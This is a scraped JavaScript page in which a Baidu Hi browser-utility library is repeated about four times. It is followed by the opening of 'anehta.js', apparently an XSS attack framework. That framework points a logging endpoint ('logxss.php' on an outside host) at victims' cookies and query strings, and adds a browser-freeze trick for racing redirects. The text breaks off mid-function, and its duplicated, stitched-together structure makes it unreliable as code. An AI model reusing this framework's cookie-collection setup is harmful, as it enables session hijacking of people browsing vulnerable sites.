{ // if the init function was already ran, just run this function now and stop if (done) return func(); if (!load_events[0]) { // for Mozilla/Opera9 if (document.addEventListener) document.addEventListener("DOMContentLoaded", init, false); // for Internet Explorer /*@cc_on @*/ /*@if (@_win32) document.write("<script id=__ie_onload defer src=//0><\/scr"+"ipt>"); script = document.getElementById("__ie_onload"); script.onreadystatechange = function() { if (this.readyState == "complete") init(); // call the onload handler }; /*@end @*/ // for Safari if (/WebKit/i.test(navigator.userAgent)) { // sniff load_timer = setInterval(function() { if (/loaded|complete/.test(document.readyState)) init(); // call the onload handler }, 10); } // for other browsers set the window.onload, but also execute the old window.onload old_onload = window.onload; window.onload = function() { init(); if (old_onload) old_onload(); }; } load_events.push(func); } })(); /* BdUtil scope */ BdUtil.insertWBR = (function(){ var textAreaCache = null; function getContainer(){ var textarea = document.getElementById('insertWBR_container'); if(!textarea){ textarea = document.createElement('TEXTAREA'); textarea.id = 'insertWBR_container'; textarea.style.display = 'none'; document.body.insertBefore(textarea, document.body.firstChild); } return (textAreaCache = textarea) } return function(text, step){ var textarea = textAreaCache || getContainer(); if(!textarea) return text; textarea.innerHTML = text.replace(/&/g,'&amp;').replace(/</g,"&lt;").replace(/>/g,"&gt;"); var string = textarea.value; var step = (step || 5), reg = new RegExp("(\\S{" + step + "})", "gi"); var result = string.replace(/(<[^>]+>)/gi,"$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function(a,b,c,d){ if(c.length < step) return a; return b + c.replace(reg, "$1<wbr/>") + d; }).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g,'&$1$3;'); return result; } })(); BdUtil.hi_tracker = (function(){ function E(s){ return encodeURIComponent(s) } function tracker(mn, a){ return function(){ var t = new Date().getTime(), href = a.href; if(isIE){ var regex = /href\s*=\s*("|')?([^\s]*)\1/gi; if(regex.test(a.outerHTML)) href = RegExp.$2; } new Image().src = "http://hi.baidu.com/sys/statlog/1.gif?m=" + E(mn) + "&v=" + E(href) + "&t="+t; } } return function(mod_id_or_el, mod_name){ var bl = (typeof mod_id_or_el == 'string'), el = bl ? document.getElementById(mod_id_or_el) : mod_id_or_el, mn = mod_name || (bl ? mod_id_or_el : el.tagName), as = el.nodeName.toUpperCase() == 'A' ? [el] : el.getElementsByTagName('A'); if(!as || as.length <= 0) return false; for(var i = 0, j = as.length; i < j; i ++){ var a = as[i]; isIE ? a.attachEvent("onclick", tracker(mn, a)) : a.addEventListener("click", tracker(mn, a), false); } } })(); /* BdAjax scope */ BdAjax.getXHR = function(){ var xhr = null; try{ return (xhr = new XMLHttpRequest()); }catch(e){} for(var i = 0, a = ['MSXML3','MSXML2','Microsoft']; i < a.length; i ++){ try{ xhr = new ActiveXObject(a[i]+'.XMLHTTP'); break; }catch(e){} } return xhr; } BdAjax.request = function(url, json){ var xhr = this.getXHR(); if(!xhr){ throw new Error("cant't initialize xhr instance."); } var options={}; options.method = (json.method || 'get').toLowerCase(); options.asyn = true; options.onSuccess = json.onSuccess || function(){}; options.onFailure = json.onFailure || function(){ new Image().src = "/sys/statlog/1.gif?m=ajax-request&v=" + encodeURIComponent(url) + "&t=" + new Date().getTime();}; options.postData = json.postData || null; xhr.open(options.method, url, options.asyn); if("post" == options.method.toLowerCase()){ xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); } xhr.onreadystatechange = function(){ if(xhr.readyState == 4){ if(xhr.status == 0 || xhr.status == 200){ options.onSuccess(xhr); }else{ options.onFailure(xhr); } } } xhr.send(options.postData); } BdAjax.loadJS=(function() { var head ; return function(jsUrl){ head = head || document.getElementsByTagName("head")[0]; var s=document.createElement("script"); s.type="text/javascript"; s.src=jsUrl; head.appendChild(s); } })(); BdString.trim=function(str) { return str.replace(/(^[\s\t\xa0\u3000]+)|([\u3000\xa0\s\t]+$)/g, ""); } BdString.byteLength = function(str){ return str.replace(/[^\x00-\xFF]/g, "ly").length; } BdString.subByte = function(s, n){ if(this.byteLength(s)<=n) return s; for(var i=Math.floor((n=n-2)/2),l=s.length; i<l; i++) if(this.byteLength(s.substr(0,i))>=n) return s.substr(0,i) +"\u2026"; return s; } })();
JavaScript
/* declare namespace */ (function(){ var namespaces = [ "System","BdElement", "BdBrowser", "BdEvent", "BdUtil", "BdAjax","BdString"]; for(var i = 0, j = namespaces.length; i < j; i ++){ if(window[namespaces[i]] != 'object') window[namespaces[i]] = {}; } })(); /* attach methods */ (function(){ /* BdBrowser scope */ var ua = navigator.userAgent.toLowerCase(); var isStrict = document.compatMode == "CSS1Compat", isOpera = ua.indexOf("opera") > -1, isSafari = (/webkit|khtml/).test(ua), isSafari3 = isSafari && ua.indexOf('webkit/5') != -1, isIE = !isOpera && ua.indexOf("msie") > -1, isIE7 = !isOpera && ua.indexOf("msie 7") > -1, isGecko = !isSafari && ua.indexOf("gecko") > -1, isBorderBox = isIE && !isStrict, isWindows = (ua.indexOf("windows") != -1 || ua.indexOf("win32") != -1), isMac = (ua.indexOf("macintosh") != -1 || ua.indexOf("mac os x") != -1), isAir = (ua.indexOf("adobeair") != -1), isLinux = (ua.indexOf("linux") != -1), isSecure = window.location.href.toLowerCase().indexOf("https") === 0; // remove css image flicker if(isIE && !isIE7){ try{ document.execCommand("BackgroundImageCache", false, true); }catch(e){} } var browsers = { isOpera : isOpera, isSafari : isSafari, isSafari3 : isSafari3, isSafari2 : isSafari && !isSafari3, isIE : isIE, isIE6 : isIE && !isIE7, isIE7 : isIE7, isGecko : isGecko, isBorderBox : isBorderBox, isLinux : isLinux, isWindows : isWindows, isMac : isMac, isAir : isAir }; for(var p in browsers){ BdBrowser[p] = browsers[p]; } /* BdElement scope */ window.Bd$ = BdElement.check = function(id){ return typeof id == 'string' ? document.getElementById(id) : id; } BdElement.removeNode = isIE ? function(){ var d; return function(node){ if(node && node.tagName != 'BODY'){ d = d || document.createElement('DIV'); d.appendChild(node); d.innerHTML = ''; } } }() : function(node){ if(node && node.parentNode && node.tagName != 'BODY'){ node.parentNode.removeChild(node); } } /* BdEvent scope */ BdEvent.addEvent = function(el, fn, handler){ if(isIE){ el.attachEvent("on" + fn, handler); }else{ el.addEventListener(fn, handler, false); } } BdEvent.removeEvent = function(el, fn, handler){ if(isIE){ el.detachEvent("on" + fn, handler); }else{ el.removeEventListener(fn, handler, false); } } BdEvent.addDOMLoadEvent = (function(){ // create event function stack var load_events = [], load_timer, script, done, exec, old_onload, init = function () { done = true; // kill the timer clearInterval(load_timer); // execute each function in the stack in the order they were added while (exec = load_events.shift()) setTimeout(exec, 10); if (script) script.onreadystatechange = ''; }; return function (func) { // if the init function was already ran, just run this function now and stop if (done) return func(); if (!load_events[0]) { // for Mozilla/Opera9 if (document.addEventListener) document.addEventListener("DOMContentLoaded", init, false); // for Internet Explorer /*@cc_on @*/ /*@if (@_win32) document.write("<script id=__ie_onload defer src=//0><\/scr"+"ipt>"); script = document.getElementById("__ie_onload"); script.onreadystatechange = function() { if (this.readyState == "complete") init(); // call the onload handler }; /*@end @*/ // for Safari if (/WebKit/i.test(navigator.userAgent)) { // sniff load_timer = setInterval(function() { if (/loaded|complete/.test(document.readyState)) init(); // call the onload handler }, 10); } // for other browsers set the window.onload, but also execute the old window.onload old_onload = window.onload; window.onload = function() { init(); if (old_onload) old_onload(); }; } load_events.push(func); } })(); /* BdUtil scope */ BdUtil.insertWBR = (function(){ var textAreaCache = null; function getContainer(){ var textarea = document.getElementById('insertWBR_container'); if(!textarea){ textarea = document.createElement('TEXTAREA'); textarea.id = 'insertWBR_container'; textarea.style.display = 'none'; document.body.insertBefore(textarea, document.body.firstChild); } return (textAreaCache = textarea) } return function(text, step){ var textarea = textAreaCache || getContainer(); if(!textarea) return text; textarea.innerHTML = text.replace(/&/g,'&amp;').replace(/</g,"&lt;").replace(/>/g,"&gt;"); var string = textarea.value; var step = (step || 5), reg = new RegExp("(\\S{" + step + "})", "gi"); var result = string.replace(/(<[^>]+>)/gi,"$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function(a,b,c,d){ if(c.length < step) return a; return b + c.replace(reg, "$1<wbr/>") + d; }).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g,'&$1$3;'); return result; } })(); BdUtil.hi_tracker = (function(){ function E(s){ return encodeURIComponent(s) } function tracker(mn, a){ return function(){ var t = new Date().getTime(), href = a.href; if(isIE){ var regex = /href\s*=\s*("|')?([^\s]*)\1/gi; if(regex.test(a.outerHTML)) href = RegExp.$2; } new Image().src = "http://hi.baidu.com/sys/statlog/1.gif?m=" + E(mn) + "&v=" + E(href) + "&t="+t; } } return function(mod_id_or_el, mod_name){ var bl = (typeof mod_id_or_el == 'string'), el = bl ? document.getElementById(mod_id_or_el) : mod_id_or_el, mn = mod_name || (bl ? mod_id_or_el : el.tagName), as = el.nodeName.toUpperCase() == 'A' ? [el] : el.getElementsByTagName('A'); if(!as || as.length <= 0) return false; for(var i = 0, j = as.length; i < j; i ++){ var a = as[i]; isIE ? a.attachEvent("onclick", tracker(mn, a)) : a.addEventListener("click", tracker(mn, a), false); } } })(); /* BdAjax scope */ BdAjax.getXHR = function(){ var xhr = null; try{ return (xhr = new XMLHttpRequest()); }catch(e){} for(var i = 0, a = ['MSXML3','MSXML2','Microsoft']; i < a.length; i ++){ try{ xhr = new ActiveXObject(a[i]+'.XMLHTTP'); break; }catch(e){} } return xhr; } BdAjax.request = function(url, json){ var xhr = this.getXHR(); if(!xhr){ throw new Error("cant't initialize xhr instance."); } var options={}; options.method = (json.method || 'get').toLowerCase(); options.asyn = true; options.onSuccess = json.onSuccess || function(){}; options.onFailure = json.onFailure || function(){ new Image().src = "/sys/statlog/1.gif?m=ajax-request&v=" + encodeURIComponent(url) + "&t=" + new Date().getTime();}; options.postData = json.postData || null; xhr.open(options.method, url, options.asyn); if("post" == options.method.toLowerCase()){ xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); } xhr.onreadystatechange = function(){ if(xhr.readyState == 4){ if(xhr.status == 0 || xhr.status == 200){ options.onSuccess(xhr); }else{ options.onFailure(xhr); } } } xhr.send(options.postData); } BdAjax.loadJS=(function() { var head ; return function(jsUrl){ head = head || document.getElementsByTagName("head")[0]; var s=document.createElement("script"); s.type="text/javascript"; s.src=jsUrl; head.appendChild(s); } })(); BdString.trim=function(str) { return str.replace(/(^[\s\t\xa0\u3000]+)|([\u3000\xa0\s\t]+$)/g, ""); } BdString.byteLength = function(str){ return str.replace(/[^\x00-\xFF]/g, "ly").length; } BdString.subByte = function(s, n){ if(this.byteLength(s)<=n) return s; for(var i=Math.floor((n=n-2)/2),l=s.length; i<l; i++) if(this.byteLength(s.substr(0,i))>=n) return s.substr(0,i) +"\u2026"; return s; } })();
JavaScript
/* declare namespace */ (function(){ var namespaces = [ "System","BdElement", "BdBrowser", "BdEvent", "BdUtil", "BdAjax","BdString"]; for(var i = 0, j = namespaces.length; i < j; i ++){ if(window[namespaces[i]] != 'object') window[namespaces[i]] = {}; } })(); /* attach methods */ (function(){ /* BdBrowser scope */ var ua = navigator.userAgent.toLowerCase(); var isStrict = document.compatMode == "CSS1Compat", isOpera = ua.indexOf("opera") > -1, isSafari = (/webkit|khtml/).test(ua), isSafari3 = isSafari && ua.indexOf('webkit/5') != -1, isIE = !isOpera && ua.indexOf("msie") > -1, isIE7 = !isOpera && ua.indexOf("msie 7") > -1, isGecko = !isSafari && ua.indexOf("gecko") > -1, isBorderBox = isIE && !isStrict, isWindows = (ua.indexOf("windows") != -1 || ua.indexOf("win32") != -1), isMac = (ua.indexOf("macintosh") != -1 || ua.indexOf("mac os x") != -1), isAir = (ua.indexOf("adobeair") != -1), isLinux = (ua.indexOf("linux") != -1), isSecure = window.location.href.toLowerCase().indexOf("https") === 0; // remove css image flicker if(isIE && !isIE7){ try{ document.execCommand("BackgroundImageCache", false, true); }catch(e){} } var browsers = { isOpera : isOpera, isSafari : isSafari, isSafari3 : isSafari3, isSafari2 : isSafari && !isSafari3, isIE : isIE, isIE6 : isIE && !isIE7, isIE7 : isIE7, isGecko : isGecko, isBorderBox : isBorderBox, isLinux : isLinux, isWindows : isWindows, isMac : isMac, isAir : isAir }; for(var p in browsers){ BdBrowser[p] = browsers[p]; } /* BdElement scope */ window.Bd$ = BdElement.check = function(id){ return typeof id == 'string' ? document.getElementById(id) : id; } BdElement.removeNode = isIE ? function(){ var d; return function(node){ if(node && node.tagName != 'BODY'){ d = d || document.createElement('DIV'); d.appendChild(node); d.innerHTML = ''; } } }() : function(node){ if(node && node.parentNode && node.tagName != 'BODY'){ node.parentNode.removeChild(node); } } /* BdEvent scope */ BdEvent.addEvent = function(el, fn, handler){ if(isIE){ el.attachEvent("on" + fn, handler); }else{ el.addEventListener(fn, handler, false); } } BdEvent.removeEvent = function(el, fn, handler){ if(isIE){ el.detachEvent("on" + fn, handler); }else{ el.removeEventListener(fn, handler, false); } } BdEvent.addDOMLoadEvent = (function(){ // create event function stack var load_events = [], load_timer, script, done, exec, old_onload, init = function () { done = true; // kill the timer clearInterval(load_timer); // execute each function in the stack in the order they were added while (exec = load_events.shift()) setTimeout(exec, 10); if (script) script.onreadystatechange = ''; }; return function (func) { // if the init function was already ran, just run this function now and stop if (done) return func(); if (!load_events[0]) { // for Mozilla/Opera9 if (document.addEventListener) document.addEventListener("DOMContentLoaded", init, false); // for Internet Explorer /*@cc_on @*/ /*@if (@_win32) document.write("<script id=__ie_onload defer src=//0><\/scr"+"ipt>"); script = document.getElementById("__ie_onload"); script.onreadystatechange = function() { if (this.readyState == "complete") init(); // call the onload handler }; /*@end @*/ // for Safari if (/WebKit/i.test(navigator.userAgent)) { // sniff load_timer = setInterval(function() { if (/loaded|complete/.test(document.readyState)) init(); // call the onload handler }, 10); } // for other browsers set the window.onload, but also execute the old window.onload old_onload = window.onload; window.onload = function() { init(); if (old_onload) old_onload(); }; } load_events.push(func); } })(); /* BdUtil scope */ BdUtil.insertWBR = (function(){ var textAreaCache = null; function getContainer(){ var textarea = document.getElementById('insertWBR_container'); if(!textarea){ textarea = document.createElement('TEXTAREA'); textarea.id = 'insertWBR_container'; textarea.style.display = 'none'; document.body.insertBefore(textarea, document.body.firstChild); } return (textAreaCache = textarea) } return function(text, step){ var textarea = textAreaCache || getContainer(); if(!textarea) return text; textarea.innerHTML = text.replace(/&/g,'&amp;').replace(/</g,"&lt;").replace(/>/g,"&gt;"); var string = textarea.value; var step = (step || 5), reg = new RegExp("(\\S{" + step + "})", "gi"); var result = string.replace(/(<[^>]+>)/gi,"$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function(a,b,c,d){ if(c.length < step) return a; return b + c.replace(reg, "$1<wbr/>") + d; }).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g,'&$1$3;'); return result; } })(); BdUtil.hi_tracker = (function(){ function E(s){ return encodeURIComponent(s) } function tracker(mn, a){ return function(){ var t = new Date().getTime(), href = a.href; if(isIE){ var regex = /href\s*=\s*("|')?([^\s]*)\1/gi; if(regex.test(a.outerHTML)) href = RegExp.$2; } new Image().src = "http://hi.baidu.com/sys/statlog/1.gif?m=" + E(mn) + "&v=" + E(href) + "&t="+t; } } return function(mod_id_or_el, mod_name){ var bl = (typeof mod_id_or_el == 'string'), el = bl ? document.getElementById(mod_id_or_el) : mod_id_or_el, mn = mod_name || (bl ? mod_id_or_el : el.tagName), as = el.nodeName.toUpperCase() == 'A' ? [el] : el.getElementsByTagName('A'); if(!as || as.length <= 0) return false; for(var i = 0, j = as.length; i < j; i ++){ var a = as[i]; isIE ? a.attachEvent("onclick", tracker(mn, a)) : a.addEventListener("click", tracker(mn, a), false); } } })(); /* BdAjax scope */ BdAjax.getXHR = function(){ var xhr = null; try{ return (xhr = new XMLHttpRequest()); }catch(e){} for(var i = 0, a = ['MSXML3','MSXML2','Microsoft']; i < a.length; i ++){ try{ xhr = new ActiveXObject(a[i]+'.XMLHTTP'); break; }catch(e){} } return xhr; } BdAjax.request = function(url, json){ var xhr = this.getXHR(); if(!xhr){ throw new Error("cant't initialize xhr instance."); } var options={}; options.method = (json.method || 'get').toLowerCase(); options.asyn = true; options.onSuccess = json.onSuccess || function(){}; options.onFailure = json.onFailure || function(){ new Image().src = "/sys/statlog/1.gif?m=ajax-request&v=" + encodeURIComponent(url) + "&t=" + new Date().getTime();}; options.postData = json.postData || null; xhr.open(options.method, url, options.asyn); if("post" == options.method.toLowerCase()){ xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); } xhr.onreadystatechange = function(){ if(xhr.readyState == 4){ if(xhr.status == 0 || xhr.status == 200){ options.onSuccess(xhr); }else{ options.onFailure(xhr); } } } xhr.send(options.postData); } BdAjax.loadJS=(function() { var head ; return function(jsUrl){ head = head || document.getElementsByTagName("head")[0]; var s=document.createElement("script"); s.type="text/javascript"; s.src=jsUrl; head.appendChild(s); } })(); BdString.trim=function(str) { return str.replace(/(^[\s\t\xa0\u3000]+)|([\u3000\xa0\s\t]+$)/g, ""); } BdString.byteLength = function(str){ return str.replace(/[^\x00-\xFF]/g, "ly").length; } BdString.subByte = function(s, n){ if(this.byteLength(s)<=n) return s; for(var i=Math.floor((n=n-2)/2),l=s.length; i<l; i++) if(this.byteLength(s.substr(0,i))>=n) return s.substr(0,i) +"\u2026"; return s; } })();
JavaScript
/* declare namespace */ (function(){ var namespaces = [ "System","BdElement", "BdBrowser", "BdEvent", "BdUtil", "BdAjax","BdString"]; for(var i = 0, j = namespaces.length; i < j; i ++){ if(window[namespaces[i]] != 'object') window[namespaces[i]] = {}; } })(); /* attach methods */ (function(){ /* BdBrowser scope */ var ua = navigator.userAgent.toLowerCase(); var isStrict = document.compatMode == "CSS1Compat", isOpera = ua.indexOf("opera") > -1, isSafari = (/webkit|khtml/).test(ua), isSafari3 = isSafari && ua.indexOf('webkit/5') != -1, isIE = !isOpera && ua.indexOf("msie") > -1, isIE7 = !isOpera && ua.indexOf("msie 7") > -1, isGecko = !isSafari && ua.indexOf("gecko") > -1, isBorderBox = isIE && !isStrict, isWindows = (ua.indexOf("windows") != -1 || ua.indexOf("win32") != -1), isMac = (ua.indexOf("macintosh") != -1 || ua.indexOf("mac os x") != -1), isAir = (ua.indexOf("adobeair") != -1), isLinux = (ua.indexOf("linux") != -1), isSecure = window.location.href.toLowerCase().indexOf("https") === 0; // remove css image flicker if(isIE && !isIE7){ try{ document.execCommand("BackgroundImageCache", false, true); }catch(e){} } var browsers = { isOpera : isOpera, isSafari : isSafari, isSafari3 : isSafari3, isSafari2 : isSafari && !isSafari3, isIE : isIE, isIE6 : isIE && !isIE7, isIE7 : isIE7, isGecko : isGecko, isBorderBox : isBorderBox, isLinux : isLinux, isWindows : isWindows, isMac : isMac, isAir : isAir }; for(var p in browsers){ BdBrowser[p] = browsers[p]; } /* BdElement scope */ window.Bd$ = BdElement.check = function(id){ return typeof id == 'string' ? document.getElementById(id) : id; } BdElement.removeNode = isIE ? function(){ var d; return function(node){ if(node && node.tagName != 'BODY'){ d = d || document.createElement('DIV'); d.appendChild(node); d.innerHTML = ''; } } }() : function(node){ if(node && node.parentNode && node.tagName != 'BODY'){ node.parentNode.removeChild(node); } } /* BdEvent scope */ BdEvent.addEvent = function(el, fn, handler){ if(isIE){ el.attachEvent("on" + fn, handler); }else{ el.addEventListener(fn, handler, false); } } BdEvent.removeEvent = function(el, fn, handler){ if(isIE){ el.detachEvent("on" + fn, handler); }else{ el.removeEventListener(fn, handler, false); } } BdEvent.addDOMLoadEvent = (function(){ // create event function stack var load_events = [], load_timer, script, done, exec, old_onload, init = function () { done = true; // kill the timer clearInterval(load_timer); // execute each function in the stack in the order they were added while (exec = load_events.shift()) setTimeout(exec, 10); if (script) script.onreadystatechange = ''; }; return function (func) { // if the init function was already ran, just run this function now and stop if (done) return func(); if (!load_events[0]) { // for Mozilla/Opera9 if (document.addEventListener) document.addEventListener("DOMContentLoaded", init, false); // for Internet Explorer /*@cc_on @*/ /*@if (@_win32) document.write("<script id=__ie_onload defer src=//0><\/scr"+"ipt>"); script = document.getElementById("__ie_onload"); script.onreadystatechange = function() { if (this.readyState == "complete") init(); // call the onload handler }; /*@end @*/ // for Safari if (/WebKit/i.test(navigator.userAgent)) { // sniff load_timer = setInterval(function() { if (/loaded|complete/.test(document.readyState)) init(); // call the onload handler }, 10); } // for other browsers set the window.onload, but also execute the old window.onload old_onload = window.onload; window.onload = function() { init(); if (old_onload) old_onload(); }; } load_events.push(func); } })(); /* BdUtil scope */ BdUtil.insertWBR = (function(){ var textAreaCache = null; function getContainer(){ var textarea = document.getElementById('insertWBR_container'); if(!textarea){ textarea = document.createElement('TEXTAREA'); textarea.id = 'insertWBR_container'; textarea.style.display = 'none'; document.body.insertBefore(textarea, document.body.firstChild); } return (textAreaCache = textarea) } return function(text, step){ var textarea = textAreaCache || getContainer(); if(!textarea) return text; textarea.innerHTML = text.replace(/&/g,'&amp;').replace(/</g,"&lt;").replace(/>/g,"&gt;"); var string = textarea.value; var step = (step || 5), reg = new RegExp("(\\S{" + step + "})", "gi"); var result = string.replace(/(<[^>]+>)/gi,"$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function(a,b,c,d){ if(c.length < step) return a; return b + c.replace(reg, "$1<wbr/>") + d; }).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g,'&$1$3;'); return result; } })(); BdUtil.hi_tracker = (function(){ function E(s){ return encodeURIComponent(s) } function tracker(mn, a){ return function(){ var t = new Date().getTime(), href = a.href; if(isIE){ var regex = /href\s*=\s*("|')?([^\s]*)\1/gi; if(regex.test(a.outerHTML)) href = RegExp.$2; } new Image().src = "http://hi.baidu.com/sys/statlog/1.gif?m=" + E(mn) + "&v=" + E(href) + "&t="+t; } } return function(mod_id_or_el, mod_name){ var bl = (typeof mod_id_or_el == 'string'), el = bl ? document.getElementById(mod_id_or_el) : mod_id_or_el, mn = mod_name || (bl ? mod_id_or_el : el.tagName), as = el.nodeName.toUpperCase() == 'A' ? [el] : el.getElementsByTagName('A'); if(!as || as.length <= 0) return false; for(var i = 0, j = as.length; i < j; i ++){ var a = as[i]; isIE ? a.attachEvent("onclick", tracker(mn, a)) : a.addEventListener("click", tracker(mn, a), false); } } })(); /* BdAjax scope */ BdAjax.getXHR = function(){ var xhr = null; try{ return (xhr = new XMLHttpRequest()); }catch(e){} for(var i = 0, a = ['MSXML3','MSXML2','Microsoft']; i < a.length; i ++){ try{ xhr = new ActiveXObject(a[i]+'.XMLHTTP'); break; }catch(e){} } return xhr; } BdAjax.request = function(url, json){ var xhr = this.getXHR(); if(!xhr){ throw new Error("cant't initialize xhr instance."); } var options={}; options.method = (json.method || 'get').toLowerCase(); options.asyn = true; options.onSuccess = json.onSuccess || function(){}; options.onFailure = json.onFailure || function(){ new Image().src = "/sys/statlog/1.gif?m=ajax-request&v=" + encodeURIComponent(url) + "&t=" + new Date().getTime();}; options.postData = json.postData || null; xhr.open(options.method, url, options.asyn); if("post" == options.method.toLowerCase()){ xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); } xhr.onreadystatechange = function(){ if(xhr.readyState == 4){ if(xhr.status == 0 || xhr.status == 200){ options.onSuccess(xhr); }else{ options.onFailure(xhr); } } } xhr.send(options.postData); } BdAjax.loadJS=(function() { var head ; return function(jsUrl){ head = head || document.getElementsByTagName("head")[0]; var s=document.createElement("script"); s.type="text/javascript"; s.src=jsUrl; head.appendChild(s); } })(); BdString.trim=function(str) { return str.replace(/(^[\s\t\xa0\u3000]+)|([\u3000\xa0\s\t]+$)/g, ""); } BdString.byteLength = function(str){ return str.replace(/[^\x00-\xFF]/g, "ly").length; } BdString.subByte = function(s, n){ if(this.byteLength(s)<=n) return s; for(var i=Math.floor((n=n-2)/2),l=s.length; i<l; i++) if(this.byteLength(s.substr(0,i))>=n) return s.substr(0,i) +"\u2026"; return s; } })();
JavaScript
var anehtaurl = "http://www.a.com/anehta"; //var anehtaurl="http://www.a.com/anehta"; //alert("anehta.js"); // Author: axis ////////////////////////////////////////////////// //// 定义常量 ////////////////////////////////////////////////// var anehta = { Version: '0.6.0', Author: 'axis', Contact: 'axis@ph4nt0m.org', Homepage: 'http://www.ph4nt0m.org', Blog: 'http://hi.baidu.com/aullik5', ProjectHome: 'http://anehta.googlecode.com', DemoPage: 'http://www.secwiki.com/anehta/demo.html' }; var feedurl = anehtaurl+"/feed.js"; var logurl = anehtaurl+"/server/logxss.php?"; // cookie 和 querystring 收集 var watermarkflash = anehtaurl+"/module/flash/anehtaWatermark.swf"; // 客户端水印 var NoCryptMark = " [NoCryptMark]"; var XssInfo_S = " [**** "; var XssInfo_E = " ****]\r\n"; ////////////////////////////////////////////////// //// 定义全局变量和常量 ////////////////////////////////////////////////// var $d=document; // 出于性能考虑,把这些定义移动到scanner.js中 // 定义签名 anehta.signatures = new Object(); /* // activex 签名 anehta.signatures.activex = new Array( "Flash Player 8|ShockwaveFlash.ShockwaveFlash.8|classID" ); anehta.signatures.ffextensions = [ {name: 'Adblock Plus', url: 'chrome://adblockplus/skin/adblockplus.png'} ]; anehta.signatures.sites = new Array( "http://www.google.com" ); anehta.signatures.ports = new Array(); */ ////////////////////////////////////////////////// //// Core Library ////////////////////////////////////////////////// anehta.core = {}; // 在time(ms)时间内冻结浏览器;idea from AttackAPI // 在需要和浏览器抢时间比如关闭窗口,重定向页面时候非常有用 // 在冻结时间内getURL 等还能继续完成 anehta.core.freeze = function(time){ var date = new Date(); var cur = null; do { cur = new Date(); } while(cur - date < time); }; /** * idea from :jCache - A client cache plugin for jQuery * Should come in handy when data needs to be cached in client to improve performance. * Author: Phan Van An * phoenixheart@gmail.com * http://www.skidvn.com * License : Read jQuery's license Usage: 1. var cache = new anehta.core.cache(); 2. [OPTIONAL] Set the max cached item number, for example 20 cache.maxSize = 20; 3. Start playing around with it: - Put an item into cache: cache.setItem(theKey, the Value); - Retrieve an item from cache: var theValue = cache.getItem(theKey); - Empty the cache: cache.clear(); - cache.removeItem(theKey); - cache.addItem(theKey, the Value); - cache.dropItem(theKey); - cache.hasItem(theKey); - ... */ anehta.core.cache = function(){ this.version = 'anehta.core.cache v1'; /** * The maximum items this cache should hold. * If the cache is going to be overload, oldest item will be deleted (FIFO). * Since the cached object is retained inside browser's state, * a too big value on a too big web apps may affect system memory. * Default is 10. */ this.maxSize = 30; /** * An array to keep track of the cache keys */ this.keys = new Array(); /** * Number of currently cached items */ this.cache_length = 0; /** * An associated array to contain the cached items */ this.items = new Array(); /* * @desc Puts an item into the cache * * @param string Key of the item * @param string Value of the item * @return string Value of the item */ this.addItem = function(pKey, pValue) { if (typeof(pValue) != 'undefined') { if (typeof(this.items[pKey]) == 'undefined') { this.cache_length++; } this.keys.push(pKey); this.items[pKey] = pValue; if (this.cache_length > this.maxSize) { this.removeOldestItem(); } } return pValue; } /* * @desc Removes an item from the cache using its key * @param string Key of the item */ // 仅仅是把key对应的值删除,key的名字和占用的空间还是保留了 this.removeItem = function(pKey) { var tmp; if (typeof(this.items[pKey]) != 'undefined') { this.cache_length--; tmp = this.items[pKey]; delete this.items[pKey]; } return tmp; } // 删除一个key和它占用的空间 this.dropItem = function(pKey){ if (typeof(this.items[pKey]) != 'undefined') { var key_tmp1 = new Array(); var key_tmp2 = new Array(); for(i=0; i<this.keys.length; i++){ if (this.keys[i] == pKey){ // 找到了, 删除中间的 //alert("matched!"); this.cache_length--; delete this.items[pKey]; key_tmp1 = this.keys.slice(0, i); key_tmp2 = this.keys.slice(i+1); this.key = key_tmp1.concat(key_tmp2); } } //alert("keys end: "+this.key); return true; } return false; } /* * @desc Retrieves an item from the cache by its key * * @param string Key of the item * @return string Value of the item */ this.getItem = function(pKey) { return this.items[pKey]; } // 覆盖或者添加一个值 this.setItem = function(pKey, pValue) { if(this.hasItem(pKey) == true){ // 有则覆盖 this.items[pKey] = null; // 释放内存 this.items[pKey] = pValue; // 覆盖值 } else { // 没有则添加 this.addItem(pKey, pValue); } } // 给指定key对应的值append一个值 this.appendItem = function(pKey, pValue){ if(this.hasItem(pKey) == true){ // 有则append var key_tmp; key_tmp = this.getItem(pKey); // 保存原来的值 key_tmp = key_tmp + pValue; // append新的值 this.setItem(pKey, key_tmp); // 覆盖key对应的值为新的值 } else { // 找不到指定值, 创建一个新的 this.setItem(pKey, pValue); } } // 克隆一个cache对象 this.clone = function(){ var clone; clone = this; return clone; } //获取所有的key值; 包括被drop的,都会显示出来 this.showKeys = function() { return this.keys; } /* * @desc Indicates if the cache has an item specified by its key * @param string Key of the item * @return boolean TRUE or FALSE */ this.hasItem = function(pKey) { return typeof(this.items[pKey]) != 'undefined'; } /** * @desc Removes the oldest cached item from the cache */ this.removeOldestItem = function() { this.removeItem(this.keys.shift()); } /** * @desc Clears the cache * @return Number of items cleared */ this.clear = function() { var tmp = this.cache_length; this.keys = null; // 释放内存 this.keys = new Array(); this.cache_length = 0; this.items = null; // 释放内存 this.items = new Array(); return tmp; } } // 初始化一个cache出来共享数据 var anehtaCache = new anehta.core.cache(); // 将当前xss的状态保存在cookie中 anehta.core.saveTask = function() { } // 将cookie中的状态恢复并continue未完成的任务 anehta.core.restoreTask = function() { } // Using Flash Shared Object to Store Watermark anehta.core.setWatermark = function(flashID, o){ return document.getElementById(flashID).setWatermark(o); } // Get the info from flash anehta.core.getWatermark = function(flashID){ return document.getElementById(flashID).getWatermark(null); } anehta.core.parseJSON = function(){ } anehta.core.parseXML = function(){ } ////////////////////////////////////////////////// //// DOM Library ////////////////////////////////////////////////// anehta.dom = {}; // o 是要bind的对象, e 是bind的事件名字 // 比如 anehta.dom.bindEvent(document.getElementById(x), "mousedown"); anehta.dom.bindEvent = function (o, e, fn){ if (typeof o == "undefined" || typeof e == "undefined" || typeof fn == "undefined"){ return false; } if (o == undefined || o == null) { return false; } if (o.addEventListener){ 